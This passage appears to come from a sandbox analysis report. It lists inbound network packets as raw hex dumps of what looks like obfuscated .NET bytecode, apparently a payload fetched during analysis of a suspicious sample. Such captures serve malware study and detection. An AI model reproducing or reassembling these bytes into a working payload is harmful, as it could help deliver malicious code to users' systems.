2022-01-14 11:22:26 UTC 3 IN Data Raw: 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 
92 28 a9 00 00 06 38 10 00 00 00 72 c2 0c 00 70 80 19 00 00 04 38 00 00 00 00 2a 28 5e 01 00 06 38 e6 ff ff ff 00 00 00 
12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 
00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 
00 00 13 30 0e 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 
06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 
00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 
Data Ascii: ***(*(8rp8*(^8*******(*(**0***(*(*(*(*(*(*(*(*(
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2022-01-14 11:22:26 UTC 4 IN Data Raw: 09 1f 0c 1f 0a 06 28 92 00 00 06 12 05 11 06 09 11 04 1f 0a 1f 11 1f 0b 06 28 92 00 00 06 12 04 11 05 11 06 09 
1f 0b 1f 16 1f 0c 06 28 92 00 00 06 12 03 11 04 11 05 11 06 1f 0c 1d 1f 0d 06 28 92 00 00 06 12 06 09 11 04 11 05 1f 0d 1f 
0c 1f 0e 06 28 92 00 00 06 12 05 11 06 09 11 04 1f 0e 1f 11 1f 0f 06 28 92 00 00 06 12 04 11 05 11 06 09 1f 0f 1f 16 1f 10 
06 28 92 00 00 06 12 03 11 04 11 05 11 06 17 1b 1f 11 06 28 93 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 93 00 
00 06 12 05 11 06 09 11 04 1f 0b 1f 0e 1f 13 06 28 93 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 93 00 00 06 12 
03 11 04 11 05 11 06 1b 1b 1f 15 06 28 93 00 00 06 12 06 09 11 04 11 05 1f 0a 1f 09 1f 16 06 28 93 00 00 06 12 05 11 06 
09 11 04 1f 0f 1f 0e 1f 17 06 28 93 00 00 06 12 
Data Ascii: ((((((((((((((

2022-01-14 11:22:26 UTC 6 IN Data Raw: 11 05 8e 69 1a 5d 0a 05 8e 69 1a 5b 0b 05 8e 69 8d 16 00 00 01 0c 03 8e 69 1a 5b 0d 16 13 04 16 13 05 16 13 
06 06 16 3e 04 00 00 00 07 17 58 0b 16 13 07 16 13 08 38 77 01 00 00 11 08 09 5d 13 09 11 08 1a 5a 13 0a 11 09 1a 5a 
13 07 03 11 07 19 58 91 1f 18 62 03 11 07 18 58 91 1f 10 62 60 03 11 07 17 58 91 1e 62 60 03 11 07 91 60 13 05 20 ff 00 
00 00 13 0b 16 13 0c 11 08 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 
00 00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 
0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 
60 05 11 07 17 58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 
Data Ascii: i]i[ii[>X8w]ZZXbXb`Xb`` Y@I>BX8#>biXY`X?8.XXbXb`Xb``

2022-01-14 11:22:26 UTC 7 IN Data Raw: 00 fe 0c 26 00 20 ff 0f 00 00 5f 5a fe 0c 26 00 1f 0c 64 59 fe 0e 26 00 20 76 c2 00 00 fe 0c 26 00 5a fe 0c 27 00 
59 fe 0e 26 00 fe 0c 26 00 fe 0c 26 00 fe 0c 26 00 59 61 fe 0e 2b 00 fe 0c 28 00 fe 0c 28 00 1f 19 62 61 fe 0e 28 00 fe 0c 28
00 fe 0c 29 00 58 fe 0e 28 00 fe 0c 28 00 fe 0c 28 00 1d 62 61 fe 0e 28 00 fe 0c 28 00 fe 0c 2a 00 58 fe 0e 28 00 fe 0c 28 
00 fe 0c 28 00 1f 0d 64 61 fe 0e 28 00 fe 0c 28 00 fe 0c 2b 00 58 fe 0e 28 00 fe 0c 29 00 1b 62 fe 0c 29 00 58 fe 0c 29 00 
61 fe 0c 28 00 58 fe 0e 28 00 fe 0c 28 00 76 6c 6d 58 13 09 11 0e 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00 11 
09 11 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e 0c 00 00 00 11 10 1e 62 13 10 11 11 1e 58 13 11 11 08 11 0f 11 
14 58 11 13 11 10 5f 11 11 1f 1f 5f 64 d2 
Data Ascii: & _Z&dY& v&Z'Y&&&&Ya+((ba(()X(((ba((*X(((da((+X()b)X)a(X((vlmXY@S>Ka8.>bXX__d

2022-01-14 11:22:26 UTC 8 IN Data Raw: 04 8e 69 28 6a 00 00 0a 09 7b 71 00 00 04 39 28 00 00 00 11 04 10 04 0e 05 09 7b 72 00 00 04 8e 69 54 0e 
04 09 7b 72 00 00 04 8e 69 1f 40 7f 51 00 00 04 28 b0 00 00 06 26 16 2a 06 28 65 00 00 0a 18 5a 11 04 28 6b 00 00 0a 
06 28 65 00 00 0a 19 5a 09 7b 72 00 00 04 8e 69 28 6c 00 00 0a 16 13 05 05 20 7d 1d ea 0c 40 0a 00 00 00 7e 6d 00 00 
04 39 19 00 00 00 7e 5c 00 00 04 02 03 04 05 0e 04 0e 05 6f 30 01 00 06 13 05 38 06 00 00 00 17 80 6d 00 00 04 11 05 
2a 7e 5c 00 00 04 02 03 04 05 0e 04 0e 05 6f 30 01 00 06 2a 00 00 00 0a 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 
17 28 2a 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 0b 0b 00 06 0a 00 00 01 13 30 07 
00 53 00 00 00 00 00 00 00 d0 51 00 00 01 28 23 00 00 0a 72 9d 0e 00 70 18 
Data Ascii: i(j{q9({riT{ri@Q(&*(eZ(k(eZ{ri(l }@~m9~\o08m*~\o0**0(*&*0SQ(#rp

2022-01-14 11:22:26 UTC 10 IN Data Raw: 00 df 0c 00 00 80 0b 00 00 02 3b 00 00 7c 2e 00 00 f4 36 00 00 08 22 00 00 73 55 00 00 16 37 00 00 07 47 00 
00 05 2e 00 00 4f 0b 00 00 28 0a 00 00 94 37 00 00 4f 24 00 00 ff 58 00 00 7d 5a 00 00 c9 2f 00 00 8e 53 00 00 7d 51 00 
00 23 15 00 00 39 4e 00 00 e8 22 00 00 bf 3d 00 00 02 4e 00 00 6e 5b 00 00 18 20 00 00 ca 3a 00 00 11 3d 00 00 75 19 
00 00 af 57 00 00 fa 19 00 00 c4 0f 00 00 f1 37 00 00 73 57 00 00 f4 07 00 00 9b 0d 00 00 8c 06 00 00 03 4f 00 00 aa 44 
00 00 c3 2d 00 00 8d 38 00 00 7a 0e 00 00 78 3f 00 00 66 53 00 00 10 12 00 00 9e 09 00 00 0f 58 00 00 87 49 00 00 75 
05 00 00 bc 20 00 00 02 14 00 00 c0 3e 00 00 24 45 00 00 f1 15 00 00 6b 42 00 00 89 3e 00 00 b3 09 00 00 0a 24 00 00 6
a 58 00 00 4e 30 00 00 ae 32 00 00 6d 16 00 00 ce 41 00 00 c3 48 
Data Ascii: ;|.6"sU7G.O(7O$X}Z/S}Q#9N"=Nn[ :=uW7sWOD-8zx?fSXIu >$EkB>$jXN02mAH

2022-01-14 11:22:26 UTC 11 IN Data Raw: 21 44 00 00 7c 16 00 00 50 05 00 00 96 19 00 00 1f 3b 00 00 64 47 00 00 4a 06 00 00 f6 06 00 00 6f 09 00 00 
08 18 00 00 85 47 00 00 fb 24 00 00 ff 2c 00 00 7f 2c 00 00 30 4d 00 00 9f 31 00 00 c5 4b 00 00 cf 51 00 00 2f 4b 00 00 df 
08 00 00 f7 11 00 00 8a 2b 00 00 ea 13 00 00 8f 4d 00 00 32 3b 00 00 0a 20 00 00 6c 0d 00 00 e7 57 00 00 46 13 00 00 
ab 2e 00 00 da 31 00 00 87 5b 00 00 ff 15 00 00 a5 3e 00 00 0e 1f 00 00 31 3f 00 00 6d 59 00 00 7b 1a 00 00 e8 46 00 00 
b9 2b 00 00 34 17 00 00 27 59 00 00 b4 36 00 00 cf 22 00 00 a0 1a 00 00 50 3f 00 00 05 51 00 00 de 58 00 00 d4 3b 00 
00 13 2f 00 00 7f 28 00 00 e3 4c 00 00 8c 36 00 00 76 44 00 00 00 0c 00 00 69 43 00 00 31 21 00 00 9f 4c 00 00 08 5a 00 
00 ab 13 00 00 44 51 00 00 d1 18 00 00 cf 57 00 00 49 1a 00 
Data Ascii: !D|P;dGJoG$,,0M1KQ/K+M2; lWF.1[>1?mY{F+4'Y6"P?QX;/(L6vDiC1!LZDQWI

2022-01-14 11:22:26 UTC 12 IN Data Raw: d4 00 00 06 28 f7 00 00 06 20 02 00 00 00 38 ae fc ff ff 16 13 4d 20 0f 00 00 00 38 a1 fc ff ff 11 65 28 d4 00 00 
06 8d 16 00 00 01 16 28 d4 00 00 06 28 f7 00 00 06 20 0c 00 00 00 28 1f 01 00 06 39 7b fc ff ff 26 20 05 00 00 00 38 70 fc 
ff ff 38 fc fe ff ff 20 10 00 00 00 38 61 fc ff ff 28 d4 00 00 06 1a 40 73 fe ff ff 20 06 00 00 00 28 1e 01 00 06 3a 47 fc ff ff 26 
20 03 00 00 00 38 3c fc ff ff 11 65 28 d4 00 00 06 8d 16 00 00 01 16 28 d4 00 00 06 28 f7 00 00 06 20 00 00 00 00 28 1f 01 
00 06 3a 16 fc ff ff 26 20 00 00 00 00 38 0b fc ff ff dd 4d 3a 00 00 26 20 00 00 00 00 28 1f 01 00 06 3a 0f 00 00 00 26 20 
00 00 00 00 38 04 00 00 00 fe 0c 30 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 1b 3a 00 00 20 33 00 00 00 28 1f 
01 00 06 3a 5a f0 ff ff 26 20 3b 
Data Ascii: ( 8M 8e((( (9{& 8p8 8a(@s (:G& 8<e((( (:& 8M:& (:& 80E8: 3(:Z& ;

2022-01-14 11:22:26 UTC 14 IN Data Raw: 28 1f 01 00 06 3a f3 eb ff ff 26 20 39 02 00 00 38 e8 eb ff ff fe 0c 05 00 20 06 00 00 00 20 d1 00 00 00 20 45 00 
00 00 59 9c 20 77 01 00 00 28 1e 01 00 06 39 c4 eb ff ff 26 20 7f 01 00 00 38 b9 eb ff ff 28 d4 00 00 06 1a 40 7c 4c 00 00 
20 d7 01 00 00 38 a4 eb ff ff 11 23 11 54 61 13 03 20 c4 01 00 00 28 1e 01 00 06 3a 8e eb ff ff 26 20 b6 01 00 00 38 83 eb 
ff ff 20 e8 00 00 00 20 4d 00 00 00 59 fe 0e 40 00 20 92 00 00 00 38 6a eb ff ff fe 0c 0a 00 20 0c 00 00 00 fe 0c 0e 00 9c 
20 ab 00 00 00 38 52 eb ff ff 11 5c 11 18 3f 98 3f 00 00 20 52 02 00 00 28 1f 01 00 06 39 3a eb ff ff 26 20 0c 02 00 00 38 2f 
eb ff ff fe 0c 0a 00 20 11 00 00 00 fe 0c 0e 00 9c 20 1b 01 00 00 38 17 eb ff ff 12 74 11 6f 7d 72 00 00 04 20 8b 00 00 00 
38 04 eb ff ff fe 0c 0a 00 20 11 
Data Ascii: (:& 98   EY w(9& 8(@|L 8#Ta (:& 8  MY@ 8j  8R\?? R(9:& 8/  8to}r 8 

2022-01-14 11:22:26 UTC 15 IN Data Raw: 1b 1c 1f 2e 9c 20 30 02 00 00 28 1e 01 00 06 3a 90 e6 ff ff 26 20 ef 01 00 00 38 85 e6 ff ff 12 19 28 70 00 00 0a 
28 fe 00 00 06 13 07 20 3f 01 00 00 38 6d e6 ff ff 11 5c 17 58 13 5c 20 57 00 00 00 28 1f 01 00 06 3a 58 e6 ff ff 26 20 f6 00 
00 00 38 4d e6 ff ff fe 0c 0a 00 20 13 00 00 00 fe 0c 0e 00 9c 20 13 01 00 00 28 1f 01 00 06 39 30 e6 ff ff 26 20 74 00 00 
00 38 25 e6 ff ff 38 b1 13 00 00 20 4e 00 00 00 38 16 e6 ff ff 7e 66 00 00 04 28 ec 00 00 06 28 ed 00 00 06 13 58 20 63 00 
00 00 fe 0e 51 00 38 f3 e5 ff ff fe 0c 05 00 20 05 00 00 00 fe 0c 1a 00 9c 20 4d 01 00 00 28 1e 01 00 06 39 da e5 ff ff 26 20 
66 01 00 00 38 cf e5 ff ff 20 66 00 00 00 20 03 00 00 00 58 fe 0e 0e 00 20 c7 00 00 00 38 b6 e5 ff ff fe 0c 05 00 20 0f 00 00 
00 20 65 00 00 00 20 65 00 
Data Ascii: . 0(:& 8(p( ?8m\X\ W(:X& 8M  (90& t8%8 N8~f((X cQ8  M(9& f8 f X 8  e e

2022-01-14 11:22:26 UTC 16 IN Data Raw: 38 46 e1 ff ff fe 0c 0a 00 20 12 00 00 00 20 76 00 00 00 20 65 00 00 00 58 9c 20 83 01 00 00 28 1f 01 00 06 39 
22 e1 ff ff 26 20 6b 01 00 00 38 17 e1 ff ff 38 c0 f5 ff ff 20 fa 01 00 00 38 08 e1 ff ff fe 0c 0a 00 20 1c 00 00 00 fe 0c 40 00 
9c 20 3a 02 00 00 38 f0 e0 ff ff 20 a2 00 00 00 20 36 00 00 00 59 fe 0e 40 00 20 dc 01 00 00 fe 0e 51 00 38 cf e0 ff ff fe 0c 
0a 00 20 02 00 00 00 fe 0c 0e 00 9c 20 35 00 00 00 28 1f 01 00 06 39 b6 e0 ff ff 26 20 02 00 00 00 38 ab e0 ff ff 20 d6 00 
00 00 20 47 00 00 00 59 fe 0e 1a 00 20 41 01 00 00 38 92 e0 ff ff 11 75 11 20 17 58 11 07 17 91 9c 20 e4 01 00 00 38 7d 
e0 ff ff fe 0c 0a 00 20 17 00 00 00 fe 0c 40 00 9c 20 67 02 00 00 38 65 e0 ff ff 11 27 11 78 19 58 91 1f 18 62 11 27 11 78 
18 58 91 1f 10 62 60 11 27 11 78 
Data Ascii: 8F  v eX (9"& k88 8 @ :8  6Y@ Q8  5(9& 8  GY A8u X 8} @ g8e'xXb'xXb`'x

Timestamp
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2022-01-14 11:22:26 UTC 18 IN Data Raw: 11 1b 19 1f 6f 9c 20 1c 00 00 00 38 e2 db ff ff 11 23 11 00 58 13 23 20 71 01 00 00 28 1e 01 00 06 3a cc db ff ff 
26 20 34 01 00 00 38 c1 db ff ff fe 0c 05 00 20 0f 00 00 00 fe 0c 1a 00 9c 20 37 02 00 00 28 1f 01 00 06 39 a4 db ff ff 26 20 
f9 01 00 00 38 99 db ff ff 28 d3 00 00 06 20 13 02 00 00 38 8a db ff ff 11 1b 1b 1f 74 9c 20 81 01 00 00 38 7a db ff ff 16 13 
68 20 b7 00 00 00 28 1f 01 00 06 3a 68 db ff ff 26 20 60 02 00 00 38 5d db ff ff fe 0c 0a 00 20 11 00 00 00 20 aa 00 00 00 
20 38 00 00 00 59 9c 20 db 01 00 00 38 3e db ff ff 11 4f 11 18 1a 5a 11 09 12 09 28 b0 00 00 06 26 20 9c 02 00 00 38 24 d
b ff ff 7e 4e 00 00 04 28 0c 01 00 06 13 19 20 e5 00 00 00 38 0e db ff ff 11 60 11 53 3f b1 17 00 00 20 1f 02 00 00 38 fb da 
ff ff fe 0c 05 00 20 0a 00 00 
Data Ascii: o 8#X# q(:& 48  7(9& 8( 8t 8zh (:h& `8]   8Y 8>OZ(& 8$~N( 8`S? 8 

2022-01-14 11:22:26 UTC 19 IN Data Raw: c2 01 00 00 38 90 d6 ff ff fe 0c 0a 00 20 12 00 00 00 20 6f 00 00 00 20 74 00 00 00 58 9c 20 c1 00 00 00 28 1e 
01 00 06 3a 6c d6 ff ff 26 20 71 00 00 00 38 61 d6 ff ff fe 0c 0a 00 20 19 00 00 00 fe 0c 0e 00 9c 20 79 02 00 00 38 49 d6 ff 
ff 1f 12 13 1d 20 d7 00 00 00 38 3b d6 ff ff 16 13 70 20 a8 00 00 00 28 1f 01 00 06 3a 29 d6 ff ff 26 20 bd 00 00 00 38 1e 
d6 ff ff 28 f4 00 00 06 25 17 28 f5 00 00 06 11 27 11 13 28 f6 00 00 06 13 3d 20 88 02 00 00 38 fd d5 ff ff fe 0c 0a 00 20 02 
00 00 00 fe 0c 40 00 9c 20 52 01 00 00 38 e5 d5 ff ff 11 4c 73 76 00 00 0a 28 d4 00 00 06 1f 40 12 67 28 b0 00 00 06 26 
20 59 01 00 00 38 c5 d5 ff ff 20 3e 00 00 00 20 5f 00 00 00 58 fe 0e 0e 00 20 16 00 00 00 28 1e 01 00 06 39 a7 d5 ff ff 26 
20 a7 01 00 00 38 9c d5 ff ff fe 0c 
Data Ascii: 8  o tX (:l& q8a  y8I 8;p (:)& 8(%('(= 8 @ R8Lsv(@g(& Y8 > _X (9& 8

2022-01-14 11:22:26 UTC 20 IN Data Raw: 00 20 62 00 00 00 58 9c 20 58 01 00 00 38 2e d1 ff ff 11 6e 11 5f 3f 20 30 00 00 20 6b 02 00 00 fe 0e 51 00 38 
13 d1 ff ff 38 bb 1f 00 00 20 9a 02 00 00 38 08 d1 ff ff fe 0c 05 00 20 01 00 00 00 20 63 00 00 00 20 56 00 00 00 58 9c 20 
8c 00 00 00 38 e9 d0 ff ff 20 f5 00 00 00 20 51 00 00 00 59 fe 0e 0e 00 20 95 01 00 00 38 d0 d0 ff ff fe 0c 0a 00 20 08 00 
00 00 20 d6 00 00 00 20 47 00 00 00 59 9c 20 6b 00 00 00 38 b1 d0 ff ff 11 6d 28 f3 00 00 06 13 48 20 34 00 00 00 28 1f 
01 00 06 39 99 d0 ff ff 26 20 11 00 00 00 38 8e d0 ff ff 28 d3 00 00 06 20 a5 01 00 00 38 7f d0 ff ff 11 13 1f 0d 11 58 1c 91 
9c 20 14 00 00 00 28 1e 01 00 06 39 67 d0 ff ff 26 20 36 02 00 00 38 5c d0 ff ff 11 75 11 1d 18 58 11 07 18 91 9c 20 2b 00 
00 00 28 1f 01 00 06 3a 42 d0 ff ff 26 
Data Ascii:  bX X8.n_? 0 kQ88 8  c VX 8  QY 8   GY k8m(H 4(9& 8( 8X (9g& 68\uX +(:B&

2022-01-14 11:22:26 UTC 22 IN Data Raw: 01 00 06 3a 0f 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe 0c 49 00 45 02 00 00 00 74 01 00 00 05 00 00 00 
38 6f 01 00 00 00 38 30 00 00 00 20 03 00 00 00 38 04 00 00 00 fe 0c 02 00 45 06 00 00 00 05 00 00 00 9f 00 00 00 2b 00 
00 00 72 00 00 00 38 00 00 00 53 00 00 00 38 00 00 00 00 11 62 28 e4 00 00 06 3a 61 00 00 00 20 00 00 00 00 28 1e 01 
00 06 39 c3 ff ff ff 26 20 01 00 00 00 38 b8 ff ff ff 16 13 57 20 05 00 00 00 38 ab ff ff ff 12 5d 28 72 00 00 0a 7e 6b 00 00 04 
40 bc ff ff ff 20 02 00 00 00 38 90 ff ff ff 38 47 00 00 00 20 00 00 00 00 28 1f 01 00 06 3a 7c ff ff ff 26 20 00 00 00 00 38 71 
ff ff ff 11 62 28 d9 00 00 06 74 52 00 00 01 28 d0 00 00 06 13 5d 20 04 00 00 00 28 1f 01 00 06 39 4f ff ff ff 26 20 00 00 00 
00 38 44 ff ff ff dd 9a 00 00 00 11 
Data Ascii: :& 8IEt8o80 8E+r8S8b(:a (9& 8W 8](r~k@ 88G (:|& 8qb(tR(] (9O& 8D

2022-01-14 11:22:26 UTC 23 IN Data Raw: 00 00 20 0d 00 00 00 58 9c 20 b0 01 00 00 38 7b c6 ff ff 2a 20 07 00 00 00 20 5a 00 00 00 58 fe 0e 2c 00 20 f0 
01 00 00 38 61 c6 ff ff 20 b4 00 00 00 20 3c 00 00 00 59 fe 0e 40 00 20 57 00 00 00 fe 0e 51 00 38 40 c6 ff ff 20 d0 00 00 
00 20 45 00 00 00 59 fe 0e 40 00 20 7c 01 00 00 38 2b c6 ff ff 11 6d 28 fb 00 00 06 20 ec 00 00 00 38 1a c6 ff ff fe 0c 0a 
00 20 10 00 00 00 20 bc 00 00 00 20 3e 00 00 00 59 9c 20 77 00 00 00 28 1f 01 00 06 3a f6 c5 ff ff 26 20 7d 00 00 00 38 
eb c5 ff ff fe 0c 0a 00 20 0f 00 00 00 fe 0c 40 00 9c 20 aa 01 00 00 38 d3 c5 ff ff 12 08 e0 73 71 00 00 0a 16 7e 0a 00 00 
0a 28 c8 00 00 06 20 55 00 00 00 38 b6 c5 ff ff fe 0c 0a 00 20 06 00 00 00 fe 0c 0e 00 9c 20 d5 00 00 00 28 1e 01 00 06 3a 
99 c5 ff ff 26 20 c6 00 00 00 38 8e c5 ff 
Data Ascii:  X 8{*  ZX, 8a  <Y@ WQ8@  EY@ |8+m( 8   >Y w(:& }8 @ 8sq~( U8  (:& 8

2022-01-14 11:22:26 UTC 24 IN Data Raw: 87 ff ff ff 20 06 00 00 00 fe 0e 52 00 38 b9 fe ff ff 11 62 28 d9 00 00 06 74 52 00 00 01 13 0c 20 02 00 00 00 28 
1e 01 00 06 3a a0 fe ff ff 26 20 01 00 00 00 38 95 fe ff ff 1a 16 20 6f 76 00 00 20 7c 42 00 00 73 78 00 00 0a 13 77 20 07 
00 00 00 38 78 fe ff ff 38 2f ff ff ff 20 08 00 00 00 38 69 fe ff ff 11 0c 28 dd 00 00 06 28 de 00 00 06 11 0c 28 dd 00 00 06 
28 df 00 00 06 11 0c 28 dd 00 00 06 28 e0 00 00 06 11 0c 28 dd 00 00 06 28 e1 00 00 06 73 78 00 00 0a 13 76 20 04 00 
00 00 28 1f 01 00 06 39 23 fe ff ff 26 20 04 00 00 00 38 18 fe ff ff 11 76 11 77 28 e2 00 00 06 3a 79 fe ff ff 20 09 00 00 00 
fe 0e 52 00 38 f8 fd ff ff dd df 09 00 00 11 62 75 55 00 00 01 13 3a 20 03 00 00 00 38 04 00 00 00 fe 0c 42 00 45 04 00 00 
00 26 00 00 00 66 00 00 00 47 00 00 
Data Ascii:  R8b(tR (:& 8 ov |Bsxw 8x8/ 8i((((((((sxv (9#& 8vw(:y R8buU: 8BE&fG

2022-01-14 11:22:26 UTC 26 IN Data Raw: 00 59 fe 0e 40 00 20 91 02 00 00 38 cc bb ff ff 20 43 00 00 00 20 57 00 00 00 58 fe 0e 0e 00 20 af 01 00 00 38 
b3 bb ff ff 20 ba 00 00 00 20 5b 00 00 00 59 fe 0e 1a 00 20 f9 01 00 00 38 9a bb ff ff 20 ad 00 00 00 20 3d 00 00 00 58 fe 
0e 40 00 20 01 00 00 00 28 1f 01 00 06 3a 7c bb ff ff 26 20 09 00 00 00 38 71 bb ff ff fe 0c 0a 00 20 01 00 00 00 20 44 00 
00 00 20 50 00 00 00 58 9c 20 8b 01 00 00 28 1e 01 00 06 39 4d bb ff ff 26 20 68 02 00 00 38 42 bb ff ff fe 0c 0a 00 20 0c 
00 00 00 20 77 00 00 00 20 14 00 00 00 58 9c 20 be 00 00 00 28 1f 01 00 06 3a 1e bb ff ff 26 20 9d 01 00 00 38 13 bb ff ff 
11 1b 17 1f 6c 9c 20 97 01 00 00 38 03 bb ff ff fe 0c 05 00 20 04 00 00 00 20 4e 00 00 00 20 18 00 00 00 59 9c 20 0e 00 
00 00 28 1f 01 00 06 3a df ba ff ff 26 20 
Data Ascii: Y@ 8 C WX 8  [Y 8  =X@ (:|& 8q  D PX (9M& h8B  w X (:& 8l 8  N Y (:& 

2022-01-14 11:22:26 UTC 27 IN Data Raw: 38 7e b6 ff ff 7e 66 00 00 04 72 99 0f 00 70 28 e6 00 00 06 73 39 01 00 06 13 6d 20 15 00 00 00 28 1e 01 00 
06 3a 59 b6 ff ff 26 20 11 00 00 00 38 4e b6 ff ff 7e 5c 00 00 04 28 18 01 00 06 20 22 02 00 00 38 3a b6 ff ff 11 01 25 13 
71 3a e6 0d 00 00 20 dd 01 00 00 38 26 b6 ff ff fe 0c 05 00 20 01 00 00 00 20 65 00 00 00 20 50 00 00 00 59 9c 20 2b 00 
00 00 38 07 b6 ff ff fe 0c 0a 00 20 15 00 00 00 fe 0c 0e 00 9c 20 19 00 00 00 28 1e 01 00 06 39 ea b5 ff ff 26 20 15 01 00 
00 38 df b5 ff ff 1f 10 13 20 20 57 02 00 00 38 d1 b5 ff ff 28 05 01 00 06 11 1b 28 06 01 00 06 13 21 20 29 01 00 00 38 b9 
b5 ff ff fe 0c 05 00 20 09 00 00 00 fe 0c 1a 00 9c 20 46 01 00 00 fe 0e 51 00 38 99 b5 ff ff 20 8d 00 00 00 20 2f 00 00 00 59 
fe 0e 2c 00 20 60 00 00 00 28 1f 01 00 06 
Data Ascii: 8~~frp(s9m (:Y& 8N~\( "8:%q: 8&  e PY +8  (9& 8  W8((! )8  FQ8  /Y, `(

2022-01-14 11:22:26 UTC 28 IN Data Raw: 00 00 20 03 00 00 00 58 9c 20 67 01 00 00 38 17 b1 ff ff 16 13 00 20 56 00 00 00 28 1f 01 00 06 3a 05 b1 ff ff 
26 20 bb 01 00 00 38 fa b0 ff ff 20 30 00 00 00 20 30 00 00 00 58 fe 0e 1a 00 20 aa 00 00 00 38 e1 b0 ff ff 11 27 16 11 27 
8e 69 28 ee 00 00 06 20 00 00 00 00 28 1e 01 00 06 39 c6 b0 ff ff 26 20 00 00 00 00 38 bb b0 ff ff 16 e0 13 15 20 e6 00 00 
00 38 ad b0 ff ff fe 0c 0a 00 13 27 20 a2 01 00 00 38 9d b0 ff ff 11 75 11 1d 18 58 11 31 18 91 9c 20 02 01 00 00 28 1e 01 
00 06 3a 83 b0 ff ff 26 20 1c 00 00 00 38 78 b0 ff ff 20 2f 00 00 00 20 6a 00 00 00 58 fe 0e 40 00 20 6c 00 00 00 fe 0e 51 
00 38 57 b0 ff ff fe 0c 05 00 20 08 00 00 00 fe 0c 1a 00 9c 20 25 00 00 00 28 1f 01 00 06 39 3e b0 ff ff 26 20 18 00 00 00 
38 33 b0 ff ff 20 b7 00 00 00 20 3d 00 
Data Ascii:  X g8 V(:& 8 0 0X 8''i( (9& 8 8' 8uX1 (:& 8x / jX@ lQ8W  %(9>& 83  =

2022-01-14 11:22:26 UTC 30 IN Data Raw: ff fe 0c 0a 00 20 00 00 00 00 20 77 00 00 00 20 4a 00 00 00 59 9c 20 5d 02 00 00 38 b1 ab ff ff 12 4f 28 72 00 
00 0a 11 5c 1a 5a 6a 58 73 76 00 00 0a 11 6d 28 f3 00 00 06 28 00 01 00 06 20 63 01 00 00 28 1f 01 00 06 3a 84 ab ff ff 
26 20 08 02 00 00 38 79 ab ff ff 20 e0 00 00 00 20 4a 00 00 00 59 fe 0e 40 00 20 a8 00 00 00 28 1f 01 00 06 39 5b ab ff ff 
26 20 46 00 00 00 38 50 ab ff ff fe 0c 0a 00 20 18 00 00 00 fe 0c 40 00 9c 20 f1 00 00 00 28 1e 01 00 06 3a 33 ab ff ff 26 
20 d4 00 00 00 38 28 ab ff ff 7e 4d 00 00 04 3a 22 c4 ff ff 20 ea 00 00 00 38 14 ab ff ff fe 0c 0a 00 20 03 00 00 00 fe 0c 40 
00 9c 20 69 01 00 00 28 1e 01 00 06 3a f7 aa ff ff 26 20 66 01 00 00 38 ec aa ff ff 20 7d 00 00 00 20 5e 00 00 00 59 fe 0e 
0e 00 20 d2 00 00 00 fe 0e 51 00 38 cb 
Data Ascii:   w JY ]8O(r\ZjXsvm(( c(:& 8y  JY@ (9[& F8P @ (:3& 8(~M:" 8 @ i(:& f8 } ^Y Q8

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:22:26 UTC 31 IN Data Raw: 00 00 00 20 29 00 00 00 58 9c 20 21 01 00 00 28 1e 01 00 06 3a 5f a6 ff ff 26 20 22 00 00 00 38 54 a6 ff ff 11 
24 8e 69 1a 5b 13 22 20 66 02 00 00 38 42 a6 ff ff 11 23 11 54 61 13 59 20 4b 02 00 00 38 31 a6 ff ff 00 11 2a 73 76 00 00 
0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 74 2e 00 00 02 80 5c 00 00 04 20 00 00 00 00 28 1e 01 00 06 3a 0f 00 
00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 2f 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 37 02 00 00 26 20 00 
00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 37 00 45 02 00 00 00 05 00 00 00 d9 00 
00 00 38 00 00 00 00 00 11 2a 73 76 00 00 0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 13 28 20 00 00 00 00 28 1e 
01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 
Data Ascii:  )X !(:_& "8T$i[" f8B#TaY K81*sv.((t.\ (:& 8/E87& (9& 87E8*sv.((( (9& 8

2022-01-14 11:22:26 UTC 32 IN Data Raw: a2 ff ff 26 20 f4 00 00 00 38 01 a2 ff ff 11 1b 18 1f 72 9c 20 86 01 00 00 38 f1 a1 ff ff fe 0c 0a 00 20 1c 00 00 00 
fe 0c 0e 00 9c 20 d3 00 00 00 28 1e 01 00 06 3a d4 a1 ff ff 26 20 2b 00 00 00 38 c9 a1 ff ff 20 16 00 00 00 20 1a 00 00 00 
